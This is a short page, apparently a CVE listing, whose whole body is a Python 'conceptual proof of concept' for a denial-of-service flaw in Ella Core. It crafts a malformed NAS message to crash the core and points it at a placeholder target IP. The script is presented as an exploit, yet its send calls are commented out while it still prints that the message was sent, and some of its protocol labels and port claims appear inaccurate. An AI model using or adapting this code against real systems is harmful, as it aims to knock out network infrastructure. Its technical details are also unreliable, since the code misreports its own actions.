CVE-2026-33907 Ella Core 拒绝服务漏洞

import socket # Conceptual Proof of Concept for CVE-2026-33907 # This script demonstrates sending a malformed NAS message to Ella Core. # The message is crafted to trigger a panic by missing required Information Elements (IEs). TARGET_IP = "192.168.1.100" # Replace with actual Ella Core IP TARGET_PORT = 36412 # Example port for NAS/NGAP traffic def craft_malformed_nas(): """ Crafts a NAS Authentication Response message missing critical IEs. In a real scenario, this requires constructing valid 3GPP headers but stripping the mandatory IE payloads. """ # Simplified example: EPS bearer identity + Protocol discriminator + Message Type # This structure is insufficient for the parser, leading to the crash. nas_header = b"\x07\x00" # Missing the actual Authentication Response Parameter IE payload = nas_header return payload def send_exploit(): print(f"[*] Sending exploit to {TARGET_IP}:{TARGET_PORT}...") try: # Note: Real NAS transport uses SCTP. This is a simplified TCP/UDP simulation. # sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # sock.connect((TARGET_IP, TARGET_PORT)) payload = craft_malformed_nas() # sock.send(payload) print("[!] Malformed NAS message sent.") print("[!] Check Ella Core logs for panic/service crash.") # sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": send_exploit()